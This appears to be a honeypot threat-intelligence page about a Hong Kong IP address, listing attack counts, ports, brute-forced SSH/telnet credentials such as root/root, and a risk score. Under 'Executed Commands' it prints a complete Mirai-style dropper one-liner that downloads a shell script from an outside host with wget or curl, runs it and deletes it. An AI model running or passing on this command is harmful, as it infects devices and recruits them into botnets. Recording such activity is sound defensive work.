Active Threat • LOW
103.75.117.209
Country of Origin🇭🇰 Hong Kong
First Detection4/11/2026
Last Activity4/11/2026
ISPLEASEWEB HONG KONG LIMITED
🎯
32
Total Attacks
🔌
2
Ports
📡
2
Attack Types
🦠
2
Malware
Geolocation
- Country
- 🇭🇰 Hong Kong
- City
- Hong Kong
- ASN
- AS133752
- ISP
- LEASEWEB HONG KONG LIMITED
Attack Types
ssh_telnet_honeypot
malware_capture
Attacked Ports
2381
Associated Malware
Attempted Credentials
🔐root/root
1x🔐root/password
1x🔐root/(empty)
1x🔐root/admin
1xExecuted Commands
$
cd /tmp || cd /run || cd /var/run || cd /dev/shm; wget http://120.89.70.130/1.sh -O .x 2>/dev/null || curl -s http://120.89.70.130/1.sh -o .x; chmod 777 .x; ./.x telnet; rm -f .x1x$
echo mirai1xShodan InternetDB ExposureShodan
InternetDB data, not real-time
Risk Assessment
35
/100
LowMediumHighCritical